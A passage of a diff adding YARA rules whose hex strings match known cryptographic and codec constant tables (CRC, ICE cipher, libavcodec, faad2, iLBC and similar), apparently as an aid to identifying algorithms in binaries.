584619f240a58c04bf7948e8827e361557b9f8002dcc315776805d76b6c64b34d9044a3f0b4668a64f1c0afd57e69f62fe9494f379e306a35b62c7385808540f8914902aef0764de83b089a1c422806944844b84c6e73102909c1c65fc98bf49c867d6f614f138d11772ee12b1bb372b490aa17d7a53cba1b167d1090ad9ca22b46afd259e49f5945d34513daf2d98754c6db4ef9e4f36f486d17ea137c09c7a51d6382735f44f4835617976ac6cd8802be7072cfcdb3f3d25d6e79609320a5809b45dbe260be0131c2a95c31a5ebf2424e2272155c1c2c1b72f6f3ffd21a4e40258c2fd74e32fdb767408e13230578bca35c6ed60fdc83229275176b4d786eb1eb58854f0944871d483f7baefefc76ffb577bf02238c5675f4aa2ab0465f0128092bf7f5383d361fa80c8a4aaf52c0e7d56674083bdf10510595a8d75a1badd51ef679e4f66c8481752065faced058bef7882668044af3f8f60f707f9ca0a0ab4653286ce95ca3ed76e17f30ac6bd2296837a90f36852afee3176797b724206ba9f59525cdd6bf1eff682c445575be069ff19a65e0f91d49b9ee18070134b8ca30bb15fe22e88309578849620e75557e62daa8ff765e464553b108de476dd4e7e9ef }
+
+condition:
+	$a0
+}
+
+	
+rule Scard_DEFAUT0__8_byt_8_
+{
+strings:
+	$a0 = { ad9f61fefa20ce63 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_smod__32_lil_64_
+{
+strings:
+	$a0 = { 4d01000039010000f9010000710100007b010000770100003f0100008701000069010000bd010000c30100008d0100008d010000a90100008b010000f9010000 }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCD__32_lil_48_
+{
+strings:
+	$a0 = { 8d000000ce00000067000000bb000000d5000000e200000071000000b0000000580000002c000000160000000b000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d4754__8_byt_51_
+{
+strings:
+	$a0 = { 4d7fdb4cc862827ba11fbb829178420d3cf64565fa3210e793d04ced380c3ba1429d19ba601cd9647a8310413fd51e6ab4f831 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_Dallas_Maxim_poly_0x31__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00316253c4f5a697b988dbea7d4c1f2e4372211087b6e5d4facb98a93e0f5c6d86b7e4d5427320113f0e5d6cfbca99a8c5f4a796013063527c4d1e2fb889daeb3d0c5f6ef9c89baa84b5e6d7407122137e4f1c2dba8bd8e9c7f6a59403326150bb8ad9e87f4e1d2c02336051c6f7a495f8c99aab3c0d5e6f4170231285b4e7d67a4b1829be8fdcedc3f2a1900736655439085b6afdcc9fae80b1e2d344752617fccd9eaf38095a6b4574271681b0e3d2bf8eddec7b4a192806376455c2f3a0914776251483b2e1d0fecf9cad3a0b586904356657c0f1a293bd8cdfee79481b2ac1f0a3920534675678491a2bbc8ddeef82b3e0d1467724153b0a5968ffce9dac }
+
+condition:
+	$a0
+}
+
+	
+rule War_Times_CRC_algorithm__32_big_16_
+{
+strings:
+	$a0 = { 0000162e000004d00000199400002694 }
+
+condition:
+	$a0
+}
+
+	
+rule unlzx_table_one__8_byt_32_
+{
+strings:
+	$a0 = { 000000000101020203030404050506060707080809090a0a0b0b0c0c0d0d0e0e }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_8_128__avcodec___faad___32_big_60_
+{
+strings:
+	$a0 = { 00000004000000080000000c0000001000000014000000180000001c000000240000002c000000340000003c00000048000000580000006c00000080 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_eac3_gaq_remap_2_4_b__8_byt_18_
+{
+strings:
+	$a0 = { EAFBD2ECC8E6C4E3C2E1C1E0C0E0C0E0C0E0 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_480__flt64___64_lil_7680_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000000000020000604cffef3fd30000e0b7ce8a3ffdffff5f31fdef3f7500006021ce9a3ffdffff1faff9ef3f350000e0dc19a43ffcffffdfc5f4ef3f1d000060c7cbaa3ffeffffdf75eeef3f1f00008042beb03f04000020bfe6ef3fedffff3fe515b43ffcffff3fa2ddef3ff9ffff7fa66cb73ffeffff9f1fd3ef3fe2ffff9f60c2ba3ffeffff7f37c7ef3fe8ffff5fee16be3ffcffff9feab9ef3f0900002015b5c03f0100006039abef3f0e000060f75dc23ffeffff9f249bef3f060000800b06c43ffdffffdfac89ef3ffcffff9f3eadc53f01000000d376ef3f010000607e53c73ffdffffbf9762ef3f0a000040b8f8c83f02000040fc4cef3f0b0000c0d99cca3f000000200136ef3ffbffff5fd03fcc3f00000080a71def3f0e0000c089e1cd3f01000080f003ef3f0e000080f381cf3ffcffff3fdde8ee3f000000c07d90d03f020000e06eccee3f080000c0475fd13ffdffffbfa6aeee3ffcffffbf4e2dd23ffeffffff858fee3f030000a089fad23f030000200e6fee3fffffff3fefc6d33ffdffff5f404dee3ffaffffbf7692d43ffeffff7f1e2aee3f02000080175dd53f020000e0a905ee3ffeffff3fc826d63ffdffffffe3dfed3ff9ffff1f80efd63ffeffffdfceb8ed3fffffff7f36b7d73ffdffffbf6b90ed3ffbffffbfe27dd83f010000c0bc66ed3ffcffffdf7b43d93ffcffff9fc33bed3f06000020f907da3f00000040820fed3ffeffff3f52cbda3f01000080fae1ec3ffaffff7f7e8ddb3ffcffff7f2eb3ec3fffffff5f754edc3ffeffff1f2083ec3ff8ffff3f2e0edd3ffdffff9fd151ec3f010000e0a0ccdd3f00000000451fec3f00000000c589de3f010000c07cebeb3ffcffff1f9245df3ffeffffdf7ab6eb3f000000000000e03f030000e04180eb3f01000060835ce03fffffffffd348eb3ffeffffdf4eb8e03f000000c03310eb3f020000c05e13e13f000000a063d6ea3f020000e0ae6de13ffcffff1f669bea3f040000403bc7e13f020000e03d5fea3f000000000020e23ffcffff5fed21ea3fffffff3ff977e23f000000a077e3e93fffffffff22cfe23ffdffffffdea3e93ffcffff9f7925e33f020000802663e93fffffff3ff97ae33f030000e05021e93f010000209ecfe33ffcffff1f61dee83ffcffff7f6423e43fffffff1f5a9ae83ffeffffbf4876e43f000000e03e55e83f0200006047c8e43ffeffff3f120fe83f020000805c19e53f040000a0d7c7e73f030000a08469e53f010000e0917fe73f04000060bcb8e53fffffff5f4436e73f020000200007e63ffffffffff1ebe63fffffffbf4c54e63ffcffff5f9ea0e63ffcffff5f9ea0e63ffdffff9f4c54e63f01000020f2ebe63f020000200007e63fffffff5f4436e73f02000040bcb8e53f03000000927fe73f010000808469e53ffdffffbfd7c7e73f000000605c19e53f00000060120fe83f0000004047c8e43f000000e03e55e83ffeffffbf4876e43f020000405a9ae83ffcffff7f6423e43ffeffff3f61dee83f010000209ecfe33ffcffffff5021e93ffdffff1ff97ae33f040000a02663e93ffcffff9f7925e33fffffff1fdfa3e93fffffffff22cfe23f000000a077e3e93ffdffff1ff977e23ffeffff7fed21ea3f000000000020e23f020000e03d5fea3f020000203bc7e13ffeffff3f669bea3f000000c0ae6de13f020000c063d6ea3f020000c05e13e13f000000c03310eb3f050000c04eb8e03f01000020d448eb3f01000060835ce03f030000e04180eb3f070000e0ffffdf3f000000007bb6eb3fffffffbf9145df3f030000e07cebeb3f070000e0c489de3f02000020451fec3ffdffff9fa0ccdd3ffdffff9fd151ec3ff8ffff3f2e0edd3ffeffff1f2083ec3ffbffff1f754edc3ffcffff7f2eb3ec3ffdffff1f7e8ddb3f030000a0fae1ec3ffeffff3f52cbda3f00000040820fed3ffbfffffff807da3ffeffffbfc33bed3fffffff7f7b43d93f030000e0bc66ed3f020000a0e27dd83ffdffffbf6b90ed3f0600006036b7d73ffeffffdfceb8ed3ffcffffbf7fefd63fffffff1fe4dfed3f05000020c826d63f020000e0a905ee3ffeffff3f175dd53ffeffff7f1e2aee3f050000e07692d43ffdffff5f404dee3f06000020efc6d33f030000200e6fee3f0600004089fad23ffeffffff858fee3f030000a04e2dd23ffdffffbfa6aeee3f04000080475fd13f040000006fccee3ff9ffffdf7d90d03ffcffff3fdde8ee3ff8ffff3ff381cf3f01000080f003ef3f0d00002089e1cd3f00000080a71def3ffbffff5fd03fcc3f000000200136ef3ffcffff5fd99cca3f02000040fc4cef3f10000080b7f8c83fffffffdf9762ef3f010000607e53c73f01000000d376ef3ff4ffff1f3eadc53ffdffffdfac89ef3fefffff9f0a06c43ffeffff9f249bef3ff7ffff1ff75dc23f0100006039abef3f0800008014b5c03ffcffff9feab9ef3fe8ffff5fee16be3ffeffff7f37c7ef3f0b0000e05fc2ba3ffeffff9f1fd3ef3f04000000a56cb73ffcffff3fa2ddef3ffbffffffe415b43f04000020bfe6ef3f0f00008041beb03ffeffffdf75eeef3f010000e0c7cbaa3ffcffffdfc5f4ef3fddffffdfdb19a43ffdffff1faff9ef3f6c0000601cce9a3ffdffff5f31fdef3f88ffffffb7ce8a3f020000604cffef3fcdd36abda57767be000000000000f03f80ffffbfc3ce8abf020000604cffef3f6800004022ce9abffdffff5f31fdef3fc5ffffdfde19a4bffdffff1faff9ef3f150000c0cacbaabffcffffdfc5f4ef3f0400000043beb0bffeffffdf75eeef3ff0ffff7fe615b4bf04000020bfe6ef3ff9ffff7fa66cb7bffcffff3fa2ddef3f0000006061c2babffeffff9f1fd3ef3f240000e0ef16bebffeffff7f37c7ef3f0200004015b5c0bffcffff9feab9ef3ff2ffffdff75dc2bf0100006039abef3ff0ffff3f0b06c4bffeffff9f249bef3f120000e03eadc5bffdffffdfac89ef3f020000007f53c7bf01000000d376ef3f0a000040b8f8c8bffdffffbf9762ef3ff6ffff1fda9ccabf00000020fc4cef3ffcffffffd03fccbffeffffff0036ef3f070000e089e1cdbf00000080a71def3ff2fffffff381cfbf01000080f003ef3f080000407e90d0bffcffff3fdde8ee3f010000e0475fd1bf020000e06eccee3f000000004f2dd2bf040000a0a6aeee3ff8ffff7f89fad2bffeffffff858fee3ff8ffff5fefc6d3bf010000000e6fee3f020000407792d4bffdffff5f404dee3f02000080175dd5bffeffff7f1e2aee3ff7ffff5fc826d6bf000000c0a905ee3ff9ffff1f80efd6bfffffff1fe4dfed3f030000c036b7d7bf050000c0ceb8ed3fffffffffe27dd8bffdffffbf6b90ed3f030000c07b43d9bf030000e0bc66ed3ff8ffff5ff907dabffcffff9fc33bed3ffbffff9f52cbdabffeffff1f820fed3ffaffff7f7e8ddbbf01000080fae1ec3f02000000754edcbffcffff7f2eb3ec3f070000a02e0eddbf050000002083ec3ffaffffffa0ccddbf04000080d151ec3ffcffffbfc489debf02000020451fec3ff9ffff7f9245dfbfffffff9f7cebeb3f020000200000e0bffeffffdf7ab6eb3fffffff3f835ce0bf030000e04180eb3f020000204fb8e0bffdffffdfd348eb3f040000e05e13e1bf000000c03310eb3f020000e0ae6de1bf000000a063d6ea3fffffff7f3bc7e1bf03000000669bea3f020000200020e2bf000000c03d5fea3fffffff3ff977e2bffeffff7fed21ea3ffdffffdf22cfe2bf000000a077e3e93ffeffffbf7925e3bf040000e0dea3e93fffffff3ff97ae3bf020000802663e93fffffffff9dcfe3bffcffffff5021e93f000000c06423e4bf0300000061dee83f000000e04876e4bfffffff1f5a9ae83f0000004047c8e4bf000000e03e55e83f040000a05c19e5bffcffff1f120fe83ffcffffbf8469e5bf040000a0d7c7e73f04000060bcb8e5bf010000e0917fe73ffdffff5f0007e6bf040000204436e73fffffffbf4c54e6bffdffffdff1ebe63ffcffff5f9ea0e6bffcffff5f9ea0e63f03000040f2ebe6bf020000604c54e63f010000804436e7bf000000000007e63f03000000927fe7bf02000040bcb8e53fffffffdfd7c7e7bffdffff3f8469e53f02000080120fe8bffeffff3f5c19e53f020000003f55e8bf0000004047c8e43fffffff1f5a9ae8bf000000e04876e43f0000006061dee8bf010000406423e43ffcffffff5021e9bfffffffff9dcfe33f020000802663e9bfffffff3ff97ae33f01000040dfa3e9bf010000607925e33f020000c077e3e9bffdffffdf22cfe23ffeffff7fed21eabfffffff3ff977e23ffdffff1f3e5feabffcffffbfff1fe23ffeffff3f669beabf020000203bc7e13f000000a063d6eabf020000e0ae6de13f040000003410ebbffcffff5f5e13e13f01000020d448ebbf050000c04eb8e03f030000e04180ebbfffffff3f835ce03ffeffffdf7ab6ebbf020000200000e03f030000e07cebebbf060000a09145df3f02000020451fecbffcffffbfc489de3ffdffff9fd151ecbffaffffffa0ccdd3f000000402083ecbf090000a02d0edd3ffcffff7f2eb3ecbf02000000754edc3f01000080fae1ecbffaffff7f7e8ddb3f02000060820fedbffdffff9f51cbda3ffeffffbfc33bedbf020000e0f807da3f030000e0bc66edbf030000c07b43d93f010000006c90edbf01000000e27dd83ffeffffdfceb8edbf0200002036b7d73fffffff1fe4dfedbf0000000080efd63f04000000aa05eebf04000080c726d63f000000a01e2aeebffaffffff165dd53fffffff7f404deebffaffffbf7692d43ffcffff3f0e6feebffaffff5feec6d33f00000020868feebf0200000089fad23ffdffffbfa6aeeebff7ffff7f4e2dd23f020000e06ecceebf010000e0475fd13ffeffff5fdde8eebff8ffff3f7d90d03f030000a0f003efbf06000000f381cf3f00000080a71defbf0e0000c089e1cd3f000000200136efbf00000000cf3fcc3f02000040fc4cefbf11000000d99cca3fffffffdf9762efbf11000020b8f8c83f01000000d376efbf050000007d53c73ffdffffdfac89efbf090000c03dadc53ffeffff9f249befbff0ffff3f0b06c43f0300008039abefbffcffffbff55dc23ffcffff9feab9efbff8ffff1f14b5c03ffeffff7f37c7efbf120000a0ed16be3ffeffff9f1fd3efbf0e00002061c2ba3ffeffff5fa2ddefbfe6ffff3fa46cb73ffdffff3fbfe6efbfddffff3fe415b43ffeffffdf75eeefbf110000c042beb03ffeffffffc5f4efbf14000060c2cbaa3ffdffff1faff9efbf31000060da19a43ffdffff5f31fdefbf4a00008021ce9a3f020000604cffefbfc9000020a2ce8a3f000000000000f03f0000000000000000fdffff5f31fdef3f7500006021ce9a3ffcffffdfc5f4ef3f1d000060c7cbaa3f04000020bfe6ef3fedffff3fe515b43ffeffff9f1fd3ef3fe2ffff9f60c2ba3ffcffff9feab9ef3f0900002015b5c03ffeffff9f249bef3f060000800b06c43f01000000d376ef3f010000607e53c73f02000040fc4cef3f0b0000c0d99cca3f00000080a71def3f0e0000c089e1cd3ffcffff3fdde8ee3f000000c07d90d03ffdffffbfa6aeee3ffcffffbf4e2dd23f030000200e6fee3fffffff3fefc6d33ffeffff7f1e2aee3f02000080175dd53ffdffffffe3dfed3ff9ffff1f80efd63ffdffffbf6b90ed3ffbffffbfe27dd83ffcffff9fc33bed3f06000020f907da3f01000080fae1ec3ffaffff7f7e8ddb3ffeffff1f2083ec3ff8ffff3f2e0edd3f00000000451fec3f00000000c589de3ffeffffdf7ab6eb3f000000000000e03fffffffffd348eb3ffeffffdf4eb8e03f000000a063d6ea3f020000e0ae6de13f020000e03d5fea3f000000000020e23f000000a077e3e93fffffffff22cfe23f020000802663e93fffffff3ff97ae33ffcffff1f61dee83ffcffff7f6423e43f000000e03e55e83f0200006047c8e43f040000a0d7c7e73f030000a08469e53fffffff5f4436e73f020000200007e63ffcffff5f9ea0e63ffcffff5f9ea0e63f020000200007e63fffffff5f4436e73f010000808469e53ffdffffbfd7c7e73f0000004047c8e43f000000e03e55e83ffcffff7f6423e43ffeffff3f61dee83ffdffff1ff97ae33f040000a02663e93fffffffff22cfe23f000000a077e3e93f000000000020e23f020000e03d5fea3f000000c0ae6de13f020000c063d6ea3f050000c04eb8e03f01000020d448eb3f070000e0ffffdf3f000000007bb6eb3f070000e0c489de3f02000020451fec3ff8ffff3f2e0edd3ffeffff1f2083ec3ffdffff1f7e8ddb3f030000a0fae1ec3ffbfffffff807da3ffeffffbfc33bed3f020000a0e27dd83ffdffffbf6b90ed3ffcffffbf7fefd63fffffff1fe4dfed3ffeffff3f175dd53ffeffff7f1e2aee3f06000020efc6d33f030000200e6fee3f030000a04e2dd23ffdffffbfa6aeee3ff9ffffdf7d90d03ffcffff3fdde8ee3f0d00002089e1cd3f00000080a71def3ffcffff5fd99cca3f02000040fc4cef3f010000607e53c73f01000000d376ef3fefffff9f0a06c43ffeffff9f249bef3f0800008014b5c03ffcffff9feab9ef3f0b0000e05fc2ba3ffeffff9f1fd3ef3ffbffffffe415b43f04000020bfe6ef3f010000e0c7cbaa3ffcffffdfc5f4ef3f6c0000601cce9a3ffdffff5f31fdef3fcdd36abda57767be000000000000f03f6800004022ce9abffdffff5f31fdef3f150000c0cacbaabffcffffdfc5f4ef3ff0ffff7fe615b4bf04000020bfe6ef3f0000006061c2babffeffff9f1fd3ef3f0200004015b5c0bffcffff9feab9ef3ff0ffff3f0b06c4bffeffff9f249bef3f020000007f53c7bf01000000d376ef3ff6ffff1fda9ccabf00000020fc4cef3f070000e089e1cdbf00000080a71def3f080000407e90d0bffcffff3fdde8ee3f000000004f2dd2bf040000a0a6aeee3ff8ffff5fefc6d3bf010000000e6fee3f02000080175dd5bffeffff7f1e2aee3ff9ffff1f80efd6bfffffff1fe4dfed3fffffffffe27dd8bffdffffbf6b90ed3ff8ffff5ff907dabffcffff9fc33bed3ffaffff7f7e8ddbbf01000080fae1ec3f070000a02e0eddbf050000002083ec3ffcffffbfc489debf02000020451fec3f000000000000f03f0000000000000000fcffffdfc5f4ef3f1d000060c7cbaa3ffeffff9f1fd3ef3fe2ffff9f60c2ba3ffeffff9f249bef3f060000800b06c43f02000040fc4cef3f0b0000c0d99cca3ffcffff3fdde8ee3f000000c07d90d03f030000200e6fee3fffffff3fefc6d33ffdffffffe3dfed3ff9ffff1f80efd63ffcffff9fc33bed3f06000020f907da3ffeffff1f2083ec3ff8ffff3f2e0edd3ffeffffdf7ab6eb3f000000000000e03f000000a063d6ea3f020000e0ae6de13f000000a077e3e93fffffffff22cfe23ffcffff1f61dee83ffcffff7f6423e43f040000a0d7c7e73f030000a08469e53ffcffff5f9ea0e63ffcffff5f9ea0e63f010000808469e53ffdffffbfd7c7e73ffcffff7f6423e43ffeffff3f61dee83fffffffff22cfe23f000000a077e3e93f000000c0ae6de13f020000c063d6ea3f070000e0ffffdf3f000000007bb6eb3ff8ffff3f2e0edd3ffeffff1f2083ec3ffbfffffff807da3ffeffffbfc33bed3ffcffffbf7fefd63fffffff1fe4dfed3f06000020efc6d33f030000200e6fee3ff9ffffdf7d90d03ffcffff3fdde8ee3ffcffff5fd99cca3f02000040fc4cef3fefffff9f0a06c43ffeffff9f249bef3f0b0000e05fc2ba3ffeffff9f1fd3ef3f010000e0c7cbaa3ffcffffdfc5f4ef3fcdd36abda57767be000000000000f03f150000c0cacbaabffcffffdfc5f4ef3f0000006061c2babffeffff9f1fd3ef3ff0ffff3f0b06c4bffeffff9f249bef3ff6ffff1fda9ccabf00000020fc4cef3f080000407e90d0bffcffff3fdde8ee3ff8ffff5fefc6d3bf010000000e6fee3ff9ffff1f80efd6bfffffff1fe4dfed3ff8ffff5ff907dabffcffff9fc33bed3f070000a02e0eddbf050000002083ec3f020000200000e0bffeffffdf7ab6eb3f020000e0ae6de1bf000000a063d6ea3ffdffffdf22cfe2bf000000a077e3e93f000000c06423e4bf0300000061dee83ffcffffbf8469e5bf040000a0d7c7e73ffcffff5f9ea0e6bffcffff5f9ea0e63fffffffdfd7c7e7bffdffff3f8469e53f0000006061dee8bf010000406423e43f020000c077e3e9bffdffffdf22cfe23f000000a063d6eabf020000e0ae6de13ffeffffdf7ab6ebbf020000200000e03f000000402083ecbf090000a02d0edd3ffeffffbfc33bedbf020000e0f807da3fffffff1fe4dfedbf0000000080efd63ffcffff3f0e6feebffaffff5feec6d33ffeffff5fdde8eebff8ffff3f7d90d03f02000040fc4cefbf11000000d99cca3ffeffff9f249befbff0ffff3f0b06c43ffeffff9f1fd3efbf0e00002061c2ba3ffeffffffc5f4efbf14000060c2cbaa3f000000000000f0bfb5bfebc1a57777befcffffdfc5f4efbf10000040c8cbaabffcffff7f1fd3efbff6ffff1f64c2babffcffff7f249befbf0f0000a00c06c4bf00000020fc4cefbf06000080da9ccabffcffff3fdde8eebff9ffffdf7d90d0bf030000200e6feebf06000020efc6d3bffdffffffe3dfedbffaffffbf80efd6bffcffff9fc33bedbf03000080f907dabffeffff1f2083ecbf030000602e0eddbf030000a07ab6ebbffdffff5f0000e0bffeffff7f63d6eabffdffff1faf6de1bffeffff7f77e3e9bf0300004023cfe2bffcffff1f61dee8bffeffff9f6423e4bf040000a0d7c7e7bf030000a08469e5bf010000209ea0e6bf000000a09ea0e6bfffffff5f8469e5bffdffffbfd7c7e7bf030000606423e4bffeffff3f61dee8bf020000a022cfe2bf040000e077e3e9bf04000000af6de1bf000000a063d6eabf000000000000f03f000000000000000004000020bfe6ef3fedffff3fe515b43ffeffff9f249bef3f060000800b06c43f00000080a71def3f0e0000c089e1cd3f030000200e6fee3fffffff3fefc6d33ffdffffbf6b90ed3ffbffffbfe27dd83ffeffff1f2083ec3ff8ffff3f2e0edd3fffffffffd348eb3ffeffffdf4eb8e03f000000a077e3e93fffffffff22cfe23f000000e03e55e83f0200006047c8e43ffcffff5f9ea0e63ffcffff5f9ea0e63f0000004047c8e43f000000e03e55e83fffffffff22cfe23f000000a077e3e93f050000c04eb8e03f01000020d448eb3ff8ffff3f2e0edd3ffeffff1f2083ec3f020000a0e27dd83ffdffffbf6b90ed3f06000020efc6d33f030000200e6fee3f0d00002089e1cd3f00000080a71def3fefffff9f0a06c43ffeffff9f249bef3ffbffffffe415b43f04000020bfe6ef3f000000000000f03f0000000000000000feffff9f249bef3f060000800b06c43f030000200e6fee3fffffff3fefc6d33ffeffff1f2083ec3ff8ffff3f2e0edd3f000000a077e3e93fffffffff22cfe23ffcffff5f9ea0e63ffcffff5f9ea0e63fffffffff22cfe23f000000a077e3e93ff8ffff3f2e0edd3ffeffff1f2083ec3f06000020efc6d33f030000200e6fee3fefffff9f0a06c43ffeffff9f249bef3fcdd36abda57767be000000000000f03ff0ffff3f0b06c4bffeffff9f249bef3ff8ffff5fefc6d3bf010000000e6fee3f070000a02e0eddbf050000002083ec3ffdffffdf22cfe2bf000000a077e3e93ffcffff5f9ea0e6bffcffff5f9ea0e63f020000c077e3e9bffdffffdf22cfe23f000000402083ecbf090000a02d0edd3ffcffff3f0e6feebffaffff5feec6d33ffeffff9f249befbff0ffff3f0b06c43f000000000000f03f000000000000000000000080a71def3f0e0000c089e1cd3ffeffff1f2083ec3ff8ffff3f2e0edd3f000000e03e55e83f0200006047c8e43fffffffff22cfe23f000000a077e3e93f020000a0e27dd83ffdffffbf6b90ed3fefffff9f0a06c43ffeffff9f249bef3ff0ffff7fe615b4bf04000020bfe6ef3ff8ffff5fefc6d3bf010000000e6fee3f020000204fb8e0bffdffffdfd348eb3ffcffff5f9ea0e6bffcffff5f9ea0e63f01000020d448ebbf050000c04eb8e03ffcffff3f0e6feebffaffff5feec6d33ffdffff3fbfe6efbfddffff3fe415b43ffcffff7f249befbf0f0000a00c06c4bffdffffbf6b90edbf020000a0e27dd8bffeffff7f77e3e9bf0300004023cfe2bffcffffff46c8e4bf040000203f55e8bf080000002d0eddbf020000602083ecbf0f0000608ae1cdbf00000080a71defbf000000000000f03f0000000000000000030000200e6fee3fffffff3fefc6d33f000000a077e3e93fffffffff22cfe23fffffffff22cfe23f000000a077e3e93f06000020efc6d33f030000200e6fee3f000000000000f03f0000000000000000000000a077e3e93fffffffff22cfe23f06000020efc6d33f030000200e6fee3ff8ffff5fefc6d3bf010000000e6fee3f020000c077e3e9bffdffffdf22cfe23f000000000000f03f0000000000000000ffffffff22cfe23f000000a077e3e93ff8ffff5fefc6d3bf010000000e6fee3ffcffff3f0e6feebffaffff5feec6d33ffeffff7f77e3e9bf0300004023cfe2bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000070000c0efc6d33f010000000e6feebf }
+
+condition:
+	$a0
+}
+
+	
+rule iLBC_State_quantization_table_frgqTbl__flt64___64_big_512_
+{
+strings:
+	$a0 = { 3ff00059210385c63ff125a9a80496683ff23f0ed3d859c93ff34f54d1e96c403ff46f5caf2d7f953ff59fc19c17225b3ff6debd9018e7583ff802fa5093964a3ff91ad31fcd24e13ffa3bcc2938de6e3ffb5029ae4f33443ffc8126a65cf67b3ffd73e9a6f826ee3ffe6cbfb15b573f3fff4e9f6a93f29140000dd2f1a9fbe74000719c5a3e39f74000d281fd9ba1b24001247e49b1fab9400177ff151e75364001be62dc6e2a8040020eb2d0a2446340025dac68a936c64002a9ea9a3d2d884002f4384ba0e842400338eb0318b93440037b0b391926424003bfb04ee7c4a0400406f36ef8056040045074213a0c6b40049563a9f383f14004d71d1d4738a440051734b51372a4400559fcb0c026cc40059719f7f8ca824005d532e7b3d8e04006140aaeafab54400651947cfa26a240068ca7935760394006c8db0574b4074007050efdc9c4db40074154434e336a40077e44fa05143c4007be10060780fe4008003c4b09e98e40084455eaee2004400887e52157689d4008d5771001d5c3400921ca3a4b5569400976cefed634554009c89b0ee49f51400a1f9b56323bbc400a77afea3df6dc400ace7c49fd7a14400b2985f06f6944400b8ad70e6f2e8c400bed29131ec0b5400c5711947cfa27400cd51f81a5870e400d541205bc01a3400ded8e432441ff400ea55fbb517a46400f8299d883ba3440106834d26fa3fd }
+
+condition:
+	$a0
+}
+
+	
+rule Half_Life_packets_decoding_encoding_function_key__32_big_64_
+{
+strings:
+	$a0 = { 00000005000000610000007a000000ed0000001b000000ca0000000d0000009b0000004a000000f100000064000000c7000000b50000008e000000df000000a0 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits3__8_byt_607_
+{
+strings:
+	$a0 = { 020406080a050506080a0708080a0c09090a0c0f0a0b0d10100506080a0b0506080a0c0707080a0d09090a0c0f0c0b0d101007090a0c0f07080a0c0d09090b0d100b0b0c0e100c0c0e1000090b0c1010090a0d0f100a0b0c10100d0d10101010100f10000b0d10100f0b0d0f10100d0d1010000e1010100010100000000406080a0d0606080a0d09080a0c100a0a0b0f100d0c0e10100506080b0d0606080a0d0808090b0e0a0a0c0c100d0c0d0f100708090c1007080a0c0e09090a0d100b0a0c0f100d0d101000090b0d1010090a0c0f100a0b0d10100d0c10101010101010000b0d1010100b0d1010100c0d0f10001010101000101000000006080b0d1008080a0c100b0a0b0d100c0d0d0f1010100e100006080a0d1008080a0c100a0a0b0d100d0c0d10100e0e0e100008090b0d1008090b100e0a0a0c0f100c0c0d10100f101010000a0c0f10100a0c0c0e100c0c0d10100e0f10100010101000000c0f0f10000d0d1010000e1010100010101000000000000000080a0d0f100a0b0d10100d0d0e101010101010101010101000080a0b0f10090a0c10100c0c0f1010100e1010101010101000090b0e10100a0b0d10100e0d0e1010100f0f100010101000000b0d1010100b0d0f10100d10101000101010100010100000000f101010000e10101000101010000010100000000000000000090d1010100b0d1010100e0f1010000f101010001010000000090d0f0f100c0d0e1010100f101000101010100010100000000b0d0f10000c0e1010001010101000101010000000000000001010101000101010100010101000001010000000000000000010100000001010 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codes11__16_lil_578_
+{
+strings:
+	$a0 = { 0000060019003d009c00c600a7019003c203df03e607f307fb0fec07fa0ffe0f8e030500010008001400370042009200af009101a501b5019e03c003a203cd03d607ae001700070009001800390040008e00a300b8009901ac01c101b1039603be03ca039d003c00150016001a003b0044009100a500be009601ae01b901a1039103a503d50394009a00360038003a0041008c009b00b000c3009e01ab01bc019f038f03a903cf039300bf003e003f00430045009e00a700b9009401a201ba01c301a603a703bb03d4039f00a0018f008d0090009800a600b600c4009f01af01bf019903bf03b403c903e703a800b601ab00a400aa00b200c200c5009801a401b8018c03a403c403c603dd03e803ad00af039201bd00bc008e0197019a01a301b1018d039803b703d303d103db03dd07b400de03a9019b019c01a101aa01ad01b3018b03b203b803ce03e103e003d207e507b700e307bb01a801a601b001b201b7019b039a03ba03b503d603d707e403d807ea07ba00e807a003bd01b4018a03c4019203aa03b003bc03d703d407dc07db07d507f007c100fb07c803a30395039d03ac03ae03c503d803e203e603e407e707e007e907f7079001f2079303be01c00194039703ad03c303c103d203da07d907df07eb07f407fa079501f807bd039c03ab03a803b303b903d003e303e503e207de07ed07f107f907fc079301fd0fdc03b603c703cc03cb03d903da03d307e107ee07ef07f507f607fc0fff0f9d01c201b500a1009600970095009900a000a200ac00a900b100b300bb00c0008f010400 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_15__16_big_514_
+{
+strings:
+	$a0 = { 40003f5a3eb43e0e3d683cc23c1d3b783ad33a2f398b38e7384337a036fd365b35b93517347533d53335329631f7315930bc30202f842ee92e4e2db52d1c2c842bec2b542abc2a26299028fc286827d6274426b4262425962509247e23f3236a22e1225921d1214c20c720451fc31f431ec31e451dc81d4e1cd41c5c1be41b6e1af81a821a0c1997192318b2184117d3176516f9168d162415bb155514ef148c142913c71365130712a9124e11f3119a114110eb109510420fef0f9f0f4f0f010eb30e650e170dca0d7e0d340ceb0ca40c5e0c190bd50b930b510b120ad30a960a5a0a1f09e409ab0972093b090508d1089d086b0839080907d907ab077e0751072406f706ca069e06720647061d05f405cc05a5057f05590535051104ef04cd04ad048d046e044f0431041303f703db03c003a5038b0372035a0342032b031402fe02e802d202bc02a70292027e026a0257024502330221021001ff01ef01e001d101c301b501a7019a018d018001740168015c01510146013b01310127011d0113010900ff00f500ec00e300db00d300cb00c300bc00b500ae00a700a1009b0095008f00890083007e00790074006f006a00650061005d005900550051004d004900450041003d003a003700340031002e002b0028002500220020001e001c001a00180016001400120010000e000c000a00080006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule T264_cabac_probability_2__8_byt_512_
+{
+strings:
